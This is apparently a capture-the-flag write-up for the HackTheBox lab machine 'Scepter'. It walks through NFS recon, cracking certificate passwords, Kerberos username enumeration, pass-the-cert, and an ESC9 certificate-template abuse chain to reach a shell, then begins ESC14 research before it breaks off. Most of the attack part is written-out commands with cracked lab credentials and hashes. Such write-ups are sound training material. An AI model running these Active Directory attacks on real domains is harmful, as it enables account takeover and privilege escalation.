Scepter
2025-04-24
INTRODUCTION
Taking the name as a hint, Scepter is a box involving two notable “ESC” strategies from AD CS abuse. It’s a very challenging box if you’re lacking AD manual recon experience.
Initial remote recon was pretty fast. From Nmap, we discover an NFS share hosted via Portmapper. The NFS share contains several certificates. Most of which are for disabled accounts.
Foothold involves using one of the certificates we obtained during recon. We can’t use any of the certificates initially, but a bit of username enumeration, and a little password cracking, reveals a hint at how to access the only enabled certificate. Unfortunately, this user provides no shell, but we can finally perform some authenticated LDAP queries!
Gaining the user flag is relatively easy. Running a popular tool, we can easily see that one of the certificate templates is vulnerable. Using a quirky chain of account-compromises, we can find an interesting way to abuse this certificate to take over a user with WinRM access to the domain controller.
The root flag was an absolute beast, in my opinion - very difficult to identify the vulnerability. Thankfully, if you’re up-to-speed on manual local privesc enumeration, you’ll spot the “weird” thing pretty quickly. Researching this thing will lead you towards another notable AD CS abuse. In theory, it’s pretty easy, but in practice there are several stumbling points.
Take this box slow. Do plenty of recon, and plan out your attacks before diving in. There are a few “gotchas” that will impede your progress if you don’t have good situational awareness!
RECON
nmap scans
Port scan
I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
5986/tcp open wsmans
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49686/tcp open unknown
49687/tcp open unknown
49689/tcp open unknown
49690/tcp open unknown
49703/tcp open unknown
49720/tcp open unknown
49739/tcp open unknown
49758/tcp open unknown
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-25 04:05:19Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
3269/tcp open ssl/ldap
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after: 2025-11-01T00:41:41
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49686/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49687/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49690/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49720/tcp open msrpc Microsoft Windows RPC
49739/tcp open msrpc Microsoft Windows RPC
49758/tcp open msrpc Microsoft Windows RPC
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
| smb2-time:
| date: 2025-04-25T04:06:14
|_ start_date: N/A
UDP scan
To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
17/udp open|filtered tcpwrapped
53/udp open domain Simple DNS Plus
67/udp open|filtered dhcps
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-25 04:11:01Z)
111/udp open rpcbind?
123/udp open ntp NTP v3
137/udp open|filtered netbios-ns
138/udp open|filtered tcpwrapped
139/udp open|filtered tcpwrapped
500/udp open|filtered isakmp
631/udp open|filtered tcpwrapped
1029/udp open|filtered solid-mux
1719/udp open|filtered h323gatestat
2049/udp open nfs?
2222/udp open|filtered tcpwrapped
4500/udp open|filtered tcpwrapped
5000/udp open|filtered tcpwrapped
5353/udp open|filtered zeroconf
49200/udp open|filtered unknown
Note that any
open|filteredports are either open or (much more likely) filtered.
Portmapper services
Under TCP port 111, we have portmapper running. From what I can tell, it’s a service that sort of acts as a NAT: forwarding traffic based on the application it’s used with.
During the Nmap script scan, portmapper shows a few services that are mapped from TCP port 111 portmapper to TCP port 2049 (NFS). Enumerating the NFS instance is done as normal, except we use port 111 instead of allowing the default:
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 111 $RADDR

😮 I wasn’t expecting there to be anything, but this is good news.
Mounting NFS
Let’s mount this directory. I think as long as I do it as root, there will be no permissions issues:
mkdir mnt
sudo mount -t nfs 10.10.11.65:helpdesk ./mnt -o nolock
It takes a moment, then produces no output. We can see if it was successful with a simple sudo ls -lah ./mnt:

Since the NFS share is pretty slow, let’s copy the files to our loot directory:
sudo cp ./mnt/baker.crt ./loot/
sudo cp ./mnt/baker.key ./loot/
sudo cp ./mnt/clark.pfx ./loot/
sudo cp ./mnt/lewis.pfx ./loot/
sudo cp ./mnt/scott.pfx ./loot/
cd ./loot
sudo chown kali:kali ./*
A quick check indicates that the .pfx files are all encrypted, so I won’t be able to use them yet for any pass-the-cert scenario.
The baker keypair is very interesting though. Taking a look inside baker.crt reveals a username:
Bag Attributes
friendlyName:
localKeyID: DC 2B 20 65 C3 0D 91 40 E8 37 B5 CC 06 0F EA 66 5D 3B 7C 4E
subject=DC=htb, DC=scepter, CN=Users, CN=d.baker, emailAddress=d.baker@scepter.htb
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA
-----BEGIN CERTIFICATE-----
MIIGTDCCBTSgAwIBAgITYgAAADLhpcORUTEJewAAAAAAMjANBgkqhkiG9w0BAQsF
ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHc2NlcHRl
...
Great - we now have a confirmed username: d.baker. From the Nmap script scan, we know that LDAPS is running (TCP port 636), and I suspect some kind of “secure” WinRM is running (TCP port 5986).
LDAP using certificate
It might be possible to query LDAP using the .crt and .key certificate/keypair:
export LDAPTLS_CERT="$PWD/baker.crt"
export LDAPTLS_KEY="$PWD/baker.key"
ldapsearch -H "ldap://$RADDR" -ZZ -b "dc=scepter,dc=htb" "(objectClass=*)"

Hmm, there is a passphrase on the private key. Is it crackable?
FOOTHOLD
Configuring Kerberos
The AD environment is clearly using Kerberos. To authenticate from kali, we’re going to need to produce a kerberos config. I prefer to make a new one for every target:
I’ve put this script into a public repo on Github, in case you want to use it ❤️
cd ~/Box_Notes/Scepter/tools
./make_custom_krb5_config.sh -K dc01.scepter.htb -o ../custom_krb5.config

With that config in-place, we can export it as necessary to perform authentication requests.
Cracking the crt and key
If it’s crackable, we should be able to use pem2john to convert it to a crackable hash… I think. The pem2john utility expects only this part of the file:
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFNTBfBgkqhkiG9w0BBQ0wUjAxBgkqhkiG9w0BBQwwJAQQ17OfpdLR0GFTqV4d
...
7X+ajbc3hOSIIU1JOufrGWQxVvkoFdXcRBG9L15Uwsrpfzr2CA5J3kRMBxuZQnjJ
90yWTwKFUUj3pzCG2WyraNJn44jo3sFJzoUhyUKUYfn2lMtnwOvw//A=
-----END ENCRYPTED PRIVATE KEY-----
So we can just remove the first few lines:
pem2john <(tail -n +5 baker.key) | tee baker.key.hash
WLIST=/usr/share/wordlists/rockyou.txt
hashcat baker.key.hash $WLIST
# hashcat detected mode 24410 (PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES))
Unfortunately, john wouldn’t even accept the format, and hashcat didn’t crack the password, when I left it to run for a few minutes.
💡 However, seeing pem2john has reminded me that it might be possible to crack the .pfx files, too!
Cracking the pfx files
Just like we used pem2john for the keypair, we can use pfx2john for the .pfx files. To make cracking easier, I’ll merge them into one file:
for f in *.pfx; do pfx2john $f >> "merged.pfx.hash"; done
WLIST=/usr/share/wordlists/rockyou.txt
john --wordlist=$WLIST merged.pfx.hash

Success - they all have the same password: newpassword. However, we still don’t know their actual usernames.
Username Enumeration
We can guess that the username format is a.name, based on d.baker that was confirmed from the .crt file. To brute-force this, let’s build a wordlist to use with Kerbrute - using different letters prepended to each name:
for letter in {a..z}; do for name in lewis clark scott baker; dor.$name" >> candidate_names.txt; done; done
We’re expecting d.baker to definitely be in the results. Hopefully other ones, too:
kerbrute userenum -d $DOMAIN --dc $RADDR -t 100 candidate_names.txt

It’s best-practice to also check if any of the user accounts are locked-out. We can do this in verbose mode:
kerbrute userenum -d $DOMAIN --dc $RADDR -t 100 -v candidate_names.txt | grep -v 'User does not exist'

🎉 Bingo! We’ve found 4 valid usernames now: d.baker, e.lewis, o.scott, and m.clark.
Pass-the-cert
The three pfx files
Now that we know the exact usernames, is it possible to use them with gettgtpkinit.py from PKINITTools to try to authenticate? Since three of the accounts are locked-out, I’m fairly certain they can’t be used for authentication.
for acct in e.lewis o.scott m.clark; do
echo -n "Trying $acct...";
pfx="/home/kali/Box_Notes/Scepter/loot/${acct:2}.pfx";
faketime -f '+8h' python3 gettgtpkinit.py -cert-pfx "$pfx" -pfx-pass 'newpassword' -dc-ip 'dc01.scepter.htb' "scepter.htb/$acct" "/home/kali/Box_Notes/Scepter/loot/$acct.ccache" 2>/dev/null && printf " Success\n" ||
printf " Failure\n";
done
The key and crt pair
Since a .crt and .key pair hold the same info as a .pfx file, let’s try to convert them:
Why? Because we can use a
pfxfile directly with regular pass-the-cert tools.
openssl pkcs12 -export -inkey baker.key -in baker.crt -out baker.pfx
👀 As we saw earlier with LDAP, to use the .crt and .key files together we need to provide a PEM password. I tried an empty passphrase, baker and d.baker:

🤔 But we’ve already discovered some horrendous password hygeine from the other three files in this /helpdesk NFS share - all the reset passwords are the same. Is this one also re-used?

Yes, it is the same password as the other files, just newpassword!
I’ve set the resulting baker.pfx password to Password123!. Hopefully, we can now use this .pfx file in a classic pass-the-cert scenario:
python3 gettgtpkinit.py -cert-pfx "~/Box_Notes/Scepter/loot/baker.pfx" -pfx-pass 'Password123!' -dc-ip 'dc01.scepter.htb' "scepter.htb/d.baker" "/home/kali/Box_Notes/Scepter/loot/d.baker.ccache"

No problem, we already saw the clock skew from the Nmap script scan. Let’s just correct for it using faketime:
faketime -f '+8h' python3 gettgtpkinit.py -cert-pfx "/home/kali/Box_Notes/Scepter/loot/baker.pfx" -pfx-pass 'Password123!' -dc-ip 'dc01.scepter.htb' "scepter.htb/d.baker" "/home/kali/Box_Notes/Scepter/loot/d.baker.ccache"

👏 It worked! Before I forget, now is a convenient time to also obtain the NT hash. We can use the aptly-named getnthash.py from PKINITTools.
Also the NT hash
Kerberos is already configured, so we should be able to easily obtain the NT hash:
# Use the ASREP hash from the previous command
ASREP=02ab3adfc94753ca55ff858ed79d491796f21c3dcaeb67fadea31b9da7db6f0b
# Export Kerberos env vars
export KRB5_CONFIG=/home/kali/Box_Notes/Scepter/custom_krb5.conf
export KRB5CCNAME=/home/kali/Box_Notes/Scepter/loot/d.baker.ccache
faketime -f '+8h' python3 getnthash.py -key $ASREP -dc-ip 'dc01.scepter.htb' "$DOMAIN/d.baker"

🍰 We got the NT hash! Now we have a credential to use: d.baker : 18b5fb0d99e7a475316213c15b6f22ce.
Cracking NT Hash
Just to see if we can recover the plaintext password, I’ll try cracking it:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT <(echo '18b5fb0d99e7a475316213c15b6f22ce')No result.
USER FLAG
Bloodhound collection
Now that we have a credential, it would be very useful to be able to use LDAP to its fullest by collecting some data for Bloodhound.
faketime -f '+8h' rusthound-ce -d 'scepter.htb' -f 'dc01.scepter.htb' -k -z
This produces a .zip file that can be imported into Bloodhound-CE.
Aside - Username Enumeration
I wanted a concise list of all usernames in the domain, but I couldn’t find a great way to use Kerberos with
ldapsearch(my usual tool for producing such a list).Therefore, I ran
rusthound-cewithout the-zargument so that it produced a bunch of.jsonfiles, then just extracted what I needed from the.jsonfile for users:cat 20250426011724_scepter-htb_users.json | jq | grep samaccountname | cut -d '"' -f 4 | head -n -1 | tr '[:upper:]' '[:lower:]' | tee all_users.txtadministrator guest krbtgt d.baker a.carter h.brown p.adams e.lewis o.scott m.clarkI originally tried this with
ldapsearchbut didnt’ have any luck:faketime -f '+8h' ldapsearch -Y GSSAPI -R scepter.htb -U h.brown -H ldap://dc01.scepter.htb -b "DC=SCEPTER,DC=HTB" "(objectClass=user)" | grep -i samaccountnameBut kept getting this confusing error:
The solution was just to install the correct library:
sudo apt install libsasl2-modules-gssapi-mitIt worked after that 👍
One of the most important things to check is the list of users that can use either WinRM or RDP. On this target, nobody can use RDP, and only one user has access to WinRM, h.brown:

I’ll mark them (temporarily) as a high-value-target.
The d.baker user, whose NT hash we have, has some interesting properties:

Oh wow, ForceChangePassword - that’s quite handy. Since it’s conventient to do it right now, let’s go ahead and change the a.carter password and do more Bloodhound collection:
bloodyAD --host dc01.scepter.htb -d scepter.htb -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' set password 'a.carter' 'Cr0wCr0w'
faketime -f '+8h' rusthound-ce -d 'scepter.htb' -f 'dc01.scepter.htb' -u 'a.carter' -p 'Cr0wCr0w' -z
There must be some kind of connection between that staffaccesscertificate cert and the staff access certificate OU. Our newly compromised user, a.carter, has GenericAll over that OU:

And guess, who’s inside that OU:

😮 This means that a.carter indirectly has GenericAll over d.baker!
However, before I jump to any conclusions, I should check the properties of the staffaccesscertificate cert - maybe it’s vulnerable to something not readily apparent:
certipy find -vulnerable -stdout -dc-ip $RADDR -u 'd.baker' -hashes '18b5fb0d99e7a475316213c15b6f22ce'
Template Name : StaffAccessCertificate
Display Name : StaffAccessCertificate
Certificate Authorities : scepter-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireEmail
SubjectRequireDnsAsCn
SubjectAltRequireEmail
Enrollment Flag : NoSecurityExtension
AutoEnrollment
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 99 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SCEPTER.HTB\staff
Object Control Permissions
Owner : SCEPTER.HTB\Enterprise Admins
Full Control Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
[...SNIP...]
[!] Vulnerabilities
ESC9 : 'SCEPTER.HTB\\staff' can enroll and template has no security extension
🎉 Certipy found that StaffAccessCertificate (the one that d.baker can enroll in) is vulnerable to ESC9. This is an excellent place for us to start looking for a foothold.
Also note that this certificate template requires us to set an email address for the applicant. Thankfully, we can easily set the email of d.baker using the GenericAll rights that a.carter has - more on this later.
ESC9
Background
If you’ve ever dealt with a HackTheBox lab featuring AD CS, you’ve probably heard of (or maybe even read) the seminal whitepaper Certified Pre-Owned. When they published it, they introduced different families of techniques:
- THEFT 1-5
- PERSIST 1-3
- ESC 1-8
- DPERSIST 1-3
Since then, others have built on this list. Notably, ESC9 and ESC10 were added later. The author who originally described ESC9 (they also created Certipy) wrote an article on it. They’ve summarized the vulnerability as follows:
ESC9 refers to the new
msPKI-Enrollment-FlagvalueCT_FLAG_NO_SECURITY_EXTENSION(0x80000). If this flag is set on a certificate template, the newszOID_NTDS_CA_SECURITY_EXTsecurity extension will not be embedded. ESC9 is only useful whenStrongCertificateBindingEnforcementis set to1(default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same.
Later in the article, they give an illustrative example of abusing ESC9. In essence, we need to find a user with a userPrincipalName that has a suffix (probably @scepter.htb) that we can leave off - The real abuse here is we can obtain a certificate for someone in the domain, then later use that certificate to authenticate as someone@scepter.htb - granting us the NT hash of someone 🤔
Checking for viability
Let’s get a list of everyone’s UPNs, so we know who can be targetted. Ideally, we’ll go straight after h.brown, who is a member of Remote Management Users:
ldapsearch -LLL -H ldap://scepter.htb -D 'a.carter@scepter.htb' -w 'Cr0wCr0w' -b "dc=scepter,dc=htb" "(objectClass=user)" userPrincipalName | grep -i userprincipalname

Interesting. I’m not sure if someone already had the same idea, or if h.brown has been there all along… 👀
The other major condition for ESC9 abuse is that we have GenericWrite on the user that can request the certificate - this is because we’ll need to modify their UPN before they request a certificate. No worries - GenericWrite is a subset of the indirect GenericAll that a.carter has over d.baker 😉
Strategy
This plan has several steps, so I’ll outline them below:
**Grant
a.cartertheGenericAll** (or at leastGenericWrite) privilege overd.baker, usingdaclediton theStaff Access CertificateOU and pushing the policy down to its members (d.baker)a.carternow hasGenericWriteoverd.baker; use it set the email address to any value (d.baker@scepter.htbis fine).Have
a.carterchange the UPN ofd.bakerfromd.baker@scepter.htbtoh.brown.Get
d.baker(with new UPN =h.brown) to submit the CSR forStaffAccessCertificate. Hopefully we’ll be granted the cert.After getting the certificate, reset the UPN of
d.bakerback tod.baker@scepter.htb.Unclear if this is optional or not
Use
certipy authto authenticate using our certificate. The authentication request should go through toh.brown@scepter.htbeven though we requested it for the UPNh.brown- If successful, we should get a TGT and the NT hash forh.brown!Use WinRM to login as
h.brown, granting us a foothold on the domain controller.
Execution
Instead of describing each step, I’ll refer to the list that I’ve noted above - Refer to the section above to interpret the intention behind each step in the following section.
Step 0
The cleanup scripts can be a little aggressive, so we’ll start off the process by repeating the password reset on a.carter:
bloodyAD --host dc01.scepter.htb -d scepter.htb -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' set password 'a.carter' 'Cr0wCr0w'
Step 1
dacledit.py -dc-ip $RADDR -action 'write' -rights 'FullControl' -inheritance -principal 'a.carter' -target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' 'infiltrator.htb/a.carter':'Cr0wCr0w'

Step 2
bloodyAD --host 'dc01.scepter.htb' -d 'scepter.htb' -u 'a.carter' -p 'Cr0wCr0w' set object 'd.baker' mail -v 'whatever@scepter.htb'

Step 3
certipy account update -u 'a.carter@scepter.htb' -p 'Cr0wCr0w' -user 'd.baker' -upn 'h.brown'

Step 4
certipy req -u 'd.baker@scepter.htb' -hashes '18b5fb0d99e7a475316213c15b6f22ce' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'

⚠️ I got a couple of
NETBIOS connection with the remote host timed outerrors before this actually worked. If you encounter that error, just try it a few times!
Step 5
certipy account update -u 'a.carter@scepter.htb' -p 'Cr0wCr0w' -user 'd.baker' -upn 'd.baker@scepter.htb'

Step 6
certipy auth -pfx 'd.baker.pfx' -username 'h.brown' -domain 'scepter.htb'

Clock skew again - no problem; it’s easy to fix:
faketime -f '+8h' certipy auth -pfx 'd.baker.pfx' -username 'h.brown' -domain 'scepter.htb'

👏 That’s it! We got the NT hash, h.brown : 4ecf5242092c6fb8c360a08069c75a0c
Step 7
We should be able to just log in over WinRM, since h.brown is in Remote Management Users:
faketime -f '+8h' evil-winrm -i scepter.htb -u h.brown -H 4ecf5242092c6fb8c360a08069c75a0c

Sometimes, we get this error because some policy prevents us from using a password or NT hash (we can only use Kerberos), so let’s try that instead:
As I later found out, this “policy” is actually that
h.brownis a member of theProtected Usersgroup. When a user is in that group, it means that neither plaintext credentials nor NT hashes can be used for authentication.In short, we can only authenticate using Kerberos if a user is a member of
Protected Users.
faketime -f '+8h' evil-winrm -i scepter.htb --realm scepter.htb

Ugh. Now what? This message would indicate that there’s something wrong with my custom_kerb5.conf file, right? It seems fine; the --realm argument lines up perfectly to the kerberos config file…
In a few more desperate attempts, I switched around the -i argument:
- ❌
faketime -f '+8h' evil-winrm -i 10.10.11.65 --realm scepter.htb - ❌
faketime -f '+8h' evil-winrm -i scepter.htb --realm scepter.htb - ✅
faketime -f '+8h' evil-winrm -i dc01.scepter.htb --realm scepter.htb
☝️ I had thought that, due to the entry in my
/etc/hostsfile, these three variants would have been equivalent. Clearly, that’s not the case. The-iswitch must factor into how the domain and host are queried withkerberos.
No clue why, but that last one worked. Here it is, complete with env vars:
export KRB5_CONFIG=/home/kali/Box_Notes/Scepter/custom_krb5.conf
export KRB5CCNAME=/home/kali/Box_Notes/Scepter/loot/h.brown.ccache
faketime -f '+8h' evil-winrm -i dc01.scepter.htb --realm scepter.htb

We have a shell. Thankfully, h.brown holds the user flag - make sure to read it before moving on:
type C:\Users\h.brown\Desktop\user.txt
ROOT FLAG
Tool Transfer
I’m going to want something for transferring tools to the target, and exfiltrating data from the target. First thing to do is open some ports in the firewall:
sudo ufw allow from $RADDR to any port 139,445,4444,8000 proto tcp
Unfortunately, SMB didn’t work:
sudo impacket-smbserver share -smb2support /tmp/smbshare -user 4wayhs -password 4wayhs

I don’t know why. It seems like there are a bunch of things this user can’t do 🤷♂️
Instead of using SMB, I’ll just transfer files using the built-in upload and dowload features of evil-winrm. I’ve made a .zip file of some handy tools and placed them in the directory where I ran evil-winrm from:
cd C:\users\h.brown\appdata\local\temp
upload tools.zip
Expand-Archive -Path "C:\Users\h.brown\Appdata\local\temp\tools.zip" -Destination "C:\Users\h.brown\Appdata\local\temp"

Automatic Enumeration
WinPEAS
Running WinPEAS didn’t show anything particularly interesting. That’s not to say it wasn’t a valuable step, only that it showed a bunch of negatives:
d.baker,a.carter,h.brownandp.adamsare the only enabled low-priv users.krbtgtis not enabled.- No interesting listening processes.
- Nothing notable around the filesystem.
Bloodhound
I’ve already done bloodhound collection remotely using h.brown, but sometimes different properties can be seen locally. I’ll run SharpHound.exe for this:
.\SharpHound.exe -c All --collectallproperties
There don’t seem to be any changes in our visibility over h.brown. It’s worth nothing their group membership:

We can also see that h.brown is eligible for enrolment in a few certificates. However, this is the same set of certificates that d.baker and a.carter could enroll in:

Take a fresh look at the list of domain users. The only low-priv user that we haven’t seen or done anything with is p.adams. If we look them up in Bloodhound, we can see very clearly that p.adams will be the final step for privesc to Administrator.
With the
DCSyncprivilege, we can dump all of the NT hashes of users on the domain controller, as well as the hash forkrbtgt(in case we want a Golden Ticket) 👇

While the importance is currently unclear, we can see that p.adams is inside the Helpdesk Enrollment Certificate OU. This is mostly notable because there is a certificate with the same name:

We can see some interesting properties of the corresponding certificate:

Manual Enumeration
Filesystem
Taking a look through the filesystem doesn’t result in much. There’s an interesting folder in C:\, but we’ve actually already seen it:

The HelpDesk folder simply holds the NFS share that we accessed earlier.
Checking inside C:\Users\h.brown, we see some interesting-looking folders inside AppData. However, after taking a closer look at all of it, there was nothing out of the ordinary.
Certificates
Now that I have a WinRM shell, I’ll check for certificates (again). If I understand AD CS properly: we won’t get any new results, there’s no mechanism that allows certain users to “see” certificates when others cannot.
It’s possible I’m wrong about that, though!
Since we’re local now, let’s check Certify.exe (instead of certipy):
Certify.exe find /vulnerable
Certify.exe find /clientauth
No surprises here. There are still only two “interesting” / non-default certificate templates in the CA:
StaffAccessCertificate- We used this already with ESC9.
HelpdeskEnrollmentCertificate- Grants authentication, but only for domain computers.
Writable Objects
Bloodhound is great - there’s no denying that - but sometimes the collectors don’t pick up on everything. One really important step is to check for writable objects. Unfortunately, there is a lot of noise that we get from all the attributes and DACLs to sift through; when we see data like this enough, we learn to filter out the “normal” and focus on the “weird”.
We can use bloodyAD to check for writable objects (from the perspective of h.brown):
faketime -f '+8h' bloodyAD --host dc01.scepter.htb -d scepter.htb -u h.brown -k get writable --detail
This interesting line appears last, after quite a bit of “normal” stuff:

It seems conspicuously “weird” that we can write the altSecurityIdentities of one particular user, doesn’t it?
Since this is a DACL, let’s check where it came from. I’ll use dacledit, and grep for h.brown and every group they’re a part of:
faketime -f '+8h' impacket-dacledit -k -no-pass -dc-ip $RADDR -target-dn 'OU=HELPDESK ENROLLMENT CERTIFICATE,DC=SCEPTER,DC=HTB' -action 'read' 'scepter.htb'/'h.brown' |
grep -iE -B 5 'h.brown|remote management users|protected users|helpdesk admins|cms'

👀 There it is again. It looks like the Write permission on Alt-Security-Identities is due to h.brown’s membership in CMS (Certificate Management Service).
This definitely seems a little odd; I’ll do a little research about this altSecurityIdentities thing. 🚩
Writable altSecurityIdentities
Our next step is to do some research. After a couple steps of refinement, I landed on the search “active directory pentest writable altSecurityIdentities Alt-Security-Identities Certificate”. The only hacking-related article on the first page of search results was this excellent article from SpecterOps
Yes, SpecterOps: the company that employs Will Schroeder (@harmj0y) and Lee Christensen (@tifkin), who rocked the world with the original Certified Pre-Owned whitepaper!
They also helped build
Bloodhound, theGhostpackbinaries,Certify, and innumerable other tools.
The techniques involving altSecurityIdentities, like ESC9, was added after the original set of techniques published in Certified Pre-Owned: it’s numbered ESC14. The whole idea is that most of the “ESC” techniques rely on implicit mapping of object attributes onto certificate properties - we can confuse the CA in all kinds of ways to get it to write abusable certificates for us.
ESC14 is a little different, in that it relies on weak explicit mapping. We take a target (in this case p.adams), and explicitly set the altSecurityIdentities property to the value from an attacker-controlled certificate.
Once this explicit mapping is established, we can simply request to authenticate as the target user, providing our certificate as an authentication factor, and Kerberos should let us in 😂
Helpful references
While researching this topic, I found these sources especially helpful:
- https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/
- https://otter.gitbook.io/red-teaming/notes/adcs/certificate-mapping
- https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc
- https://github.com/JonasBK/Powershell
ESC14 Preconditions
Take a second look at the 4th Bloodhound screenshot and the screenshot of certificate json taken earlier - they give us an idea of what certificate to abuse (the Helpdesk Enrollment Certificate cannot be a mere coincidence, right?). We can use the information already collected to check-off the preconditions for ESC14:
✅ The target. We will go straight for p.adams, since they are the last user we haven’t utilized, and have a clear privesc vector (DCSync)
✅ Ability to directly or indirectly write altSecurityIdentities of the target. Yep, h.brown can do that!
❌ The “victim” - the entity who we’ll use to request the certificate that we’ll map the target’s altSecurityIdentities property.
Finding the victim
